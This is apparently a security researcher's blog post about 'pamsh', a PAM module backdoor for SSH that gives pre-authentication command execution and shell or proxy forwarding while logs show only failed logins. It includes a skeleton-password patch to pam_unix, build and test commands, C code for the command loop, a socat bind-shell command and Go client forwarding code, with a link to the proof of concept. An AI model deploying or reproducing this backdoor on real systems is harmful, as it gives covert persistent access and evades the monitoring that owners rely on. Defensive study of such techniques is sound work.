# tl; dr When researching ways to backdoor SSH without replacing the binary, I naturally came to PAM backdoors as an option. However, most PAM backdoors just provide a "skeleton" password to bypass authentication (and also optionally log passwords). This means that using them is still noisy, as it results in successful authentication events. So I decided to abuse the PAM conversation functionality together with SSH `keyboard-interactive` authentication to establish a bidirectional pre-authentication data transfer channel for shell or connection forwarding. PoC code available at https://github.com/zimnyaa/pamsh # traditional PAM backdoors A PAM module is essentially a dynamic shared library that provides a number of exports to authenticate users. The most essential export is `pam_sm_authenticate`, that provides a handle to the user-supplied function that can then get information about the authentication attempt and make the decision. Traditional PAM backdoors replace the default `pam_unix.so` library, adding functionality to log passwords for all authentication attempts or return PAM_SUCCESS for hardcoded passwords. They are really simple, as seen below: > ```diff > *** ./modules/pam_unix/pam_unix_auth.c 2016-04-11 08:08:47.000000000 -0300 > --- pam_unix_auth.c 2017-06-07 21:25:25.656306410 -0300 > *************** > *** 170,176 **** > D(("user=%s, password=[%s]", name, p)); > > /* verify the password of this user */ ! retval = _unix_verify_password(pamh, name, p, ctrl); name = p = NULL; > > AUTH_RETURN; >--- 170,180 ---- > D(("user=%s, password=[%s]", name, p)); > > /* verify the password of this user */ >! if (strcmp(p, "_PASSWORD_") != 0) { >! retval = _unix_verify_password(pamh, name, p, ctrl); >! } else { >! retval = PAM_SUCCESS; >! } > name = p = NULL; > > AUTH_RETURN; >``` > taken from https://github.com/segmentati0nf4ult/linux-pam-backdoor/blob/master/backdoor.patch # development and testing setup Developing PAM modules is pretty straightforward, as they are just .so libraries, compiled as following (requires `libpam-dev` on Debian-based distros): ``` gcc -fPIC -fno-stack-protector -shared -o pam_custom.so pam_custom.c -lpam ``` Testing setup for PAM modules is less trivial. I recommend setting up a second SSH daemon on a different port with a simple config: For SSH to use the custom PAM module without bricking the existing `pam.d` entry, I recommend just creating a symlink to the SSH binary, as by default it uses `argv[0]` to determine what PAM service name to use: ```sh /tmp$ ln -s /usr/sbin/sshd /tmp/sshd_test /tmp$ sudo /tmp/sshd_test -f /tmp/tsshd_config -D -e 2>&1 | grep -v "Postponed" ``` SSH will then use `/etc/pam.d/sshd_test` as the PAM configuration. Just adding ``` auth required /tmp/pamsh.so ``` should be enough. Another caveat is that PAM is not responsible for user databases, so use an existing username (any present in `/etc/passwd`) when connecting. Otherwise, all of the user responses returned to the PAM module will be `\\177INCORRECT\\010`. # PAM conversations For complex authentication flows, the PAM module can initiate a conversation with the user with the `pam_conv` interface, asking a number of questions and receiving responses in return. The questions can be asked dynamically, meaning that it is possible to build a bidirectional data transfer channel over these conversations. A simple shell could serve as a POC. The `pam_sm_authenticate` function should then do the following: ```j compare the password with a hardcoded one -> if equal, prompt the command as a question -> output the result as a PAM_TEXT_INFO notification ``` The relevant part of the export code looks like this: ```c while (1) { // construct the initial prompt struct pam_message prompt_msg; const struct pam_message *prompt_msgs[1]; prompt_msg.msg_style = PAM_PROMPT_ECHO_ON; prompt_msg.msg = "pamsh# "; prompt_msgs[0] = &prompt_msg; // get the response struct pam_response *resp = NULL; retval = conv->conv(1, prompt_msgs, &resp, conv->appdata_ptr); if (retval != PAM_SUCCESS) { return retval; } if (resp[0].resp == NULL) { free(resp); continue; } if (strcmp(resp[0].resp, "exit") == 0) { free(resp[0].resp); free(resp); break; } // execute the command char *cmd_stdout = execute_command(resp[0].resp); free(resp[0].resp); free(resp); // construct and send the notification struct pam_message echo_msg; const struct pam_message *echo_msgs[1]; echo_msg.msg_style = PAM_TEXT_INFO; echo_msg.msg = cmd_stdout; echo_msgs[0] = &echo_msg; struct pam_response *echo_resp = NULL; retval = conv->conv(1, echo_msgs, &echo_resp, conv->appdata_ptr); if (echo_resp != NULL) free(echo_resp); if (cmd_stdout != NULL) free(cmd_stdout); } ``` When executed, it looks something like this: ![[Screenshot 2025-02-05 at 16.49.44.png]] The logs will show an authentication failure, despite commands being executed: ![[Screenshot 2025-02-05 at 16.51.30.png]] # connection forwarding As we have a bidirectional transfer channel, it is possible to set up forwarding. In my PoC implementation, I forward a Unix socket to a Golang client. The usage example would be to bind a fully-fledged shell or a socks proxy to that Unix socket, and then make it available, unauthenticated, over SSH. For testing, I've just used `socat -v UNIX-LISTEN:/tmp/sock,fork EXEC:/bin/bash`: ![[Pasted image 20250207171147.png]] The architecture looks like this: - The Golang client sets up a listening port - On connection to that port, a new SSH connection is initiated - The PAM module opens a Unix socket in non-blocking mode - The PAM module reads all data from the Unix socket, base64-encodes it, and sends it as a question (or sends a placeholder if no data is available) - Then, it base64-decodes the answer, sends it to the socket, reads another update, and so on - The Golang side makes an `io.ReadWriter` out of these updates and forwards it to the network connection. The `ReadWriter` is a generic implementation of a stream on top of regular connection updates: ```go // function that processes questions func (pq *PAMQuestionWorker) Process(user, instruction string, questions []string, echos []bool) ([]string, error) { pq.mu.Lock() defer pq.mu.Unlock() responses := make([]string, len(questions)) for i, question := range questions { var qdata []byte if question == "Password: " { responses[i] = "pamconn" continue } if question != "!e" { // empty marker log.Printf("non-empty message: %s\n", question) qdata, _ = base64.StdEncoding.DecodeString(question) pq.readBuf.Write(qdata) pq.readCond.Broadcast() } msg := "!e" // empty marker outgoing := pq.writeBuf.Bytes() if len(outgoing) > 0 { msg = base64.StdEncoding.EncodeToString(pq.writeBuf.Bytes()) log.Printf("non-empty answer: %s\n", msg) pq.writeBuf.Reset() } responses[i] = msg } return responses, nil } // client-side blocking reads and writes func (pq *PAMQuestionWorker) Write(p []byte) (int, error) { pq.mu.Lock() defer pq.mu.Unlock() log.Printf("PQW Write") return pq.writeBuf.Write(p) } func (pq *PAMQuestionWorker) Read(p []byte) (int, error) { pq.mu.Lock() defer pq.mu.Unlock() log.Printf("PQW Read") for pq.readBuf.Len() == 0 { pq.readCond.Wait() } return pq.readBuf.Read(p) } ``` As a non-weaponised PoC, it lacks several important features, like keep-alives, connection multiplexing, or empty question throttling. *My code isn't garbage, it's called responsible disclosure.*